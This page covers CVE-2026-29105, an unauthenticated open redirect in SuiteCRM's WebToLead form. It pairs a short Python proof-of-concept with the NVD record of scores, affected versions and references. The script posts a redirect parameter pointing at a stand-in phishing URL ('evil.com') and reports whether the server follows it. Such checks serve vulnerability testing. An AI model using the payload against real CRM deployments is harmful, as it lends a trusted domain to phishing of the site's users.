CVE-2026-29105

import requests def check_vulnerability(target_url, malicious_url): """ Proof of Concept for CVE-2026-29105 Tests for open redirect in WebToLead functionality. """ # The endpoint might vary, typically entryPoint=WebToLeadCapture endpoint = f"{target_url}/index.php?entryPoint=WebToLeadCapture" # Payload data simulating the vulnerable POST parameter # Note: The actual parameter name depends on the specific implementation, # commonly 'redirect_url', 'return', or 'goto'. data = { "first_name": "Test", "last_name": "User", "email": "[email protected]", "redirect_url": malicious_url # The vulnerable parameter } try: # Sending POST request without authentication response = requests.post(endpoint, data=data, allow_redirects=False, timeout=5) # Check if the response indicates a redirect (HTTP 302/301) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if malicious_url in location: print(f"[+] Vulnerability Confirmed! Redirecting to: {location}") return True print("[-] Vulnerability not detected or patched.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1/suitecrm" # Replace with actual target evil_site = "http://evil.com/phishing" check_vulnerability(target, evil_site)

{"cve": {"id": "CVE-2026-29105", "sourceIdentifier": "[email protected]", "published": "2026-03-19T23:16:43.327", "lastModified": "2026-03-24T14:10:38.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, SuiteCRM contains an unauthenticated open redirect vulnerability in the WebToLead capture functionality. A user-supplied POST parameter is used as a redirect destination without validation, allowing attackers to redirect victims to arbitrary external websites. This vulnerability allows attackers to abuse the trusted SuiteCRM domain for phishing and social engineering attacks by redirecting users to malicious external websites. Versions 7.15.1 and 8.9.3 patch the issue."}, {"lang": "es", "value": "SuiteCRM es una aplicación de software de Gestión de Relaciones con Clientes (CRM) de código abierto y lista para empresas. Antes de las versiones 7.15.1 y 8.9.3, SuiteCRM contiene una vulnerabilidad de redirección abierta no autenticada en la funcionalidad de captura WebToLead. Un parámetro POST proporcionado por el usuario se utiliza como destino de redirección sin validación, permitiendo a los atacantes redirigir a las víctimas a sitios web externos arbitrarios. Esta vulnerabilidad permite a los atacantes abusar del dominio de confianza de SuiteCRM para ataques de phishing e ingeniería social, redirigiendo a los usuarios a sitios web externos maliciosos. Las versiones 7.15.1 y 8.9.3 aplican un parche al problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.15.1", "matchCriteriaId": "73648654-E7F6-47CF-8E01-19BBFF737C99"}, {"vulnerable": true, "criteria": "cpe:2.3:a:suitecrm:suitecrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.9.3", "matchCriteriaId": "C7E15DD3-A934-40A2-8B43-ABCCBB53CBCF"}]}]}], "references": [{"url": "https://docs.suitecrm.com/admin/releases/7.15.x", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-9crg-83cg-wv74", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}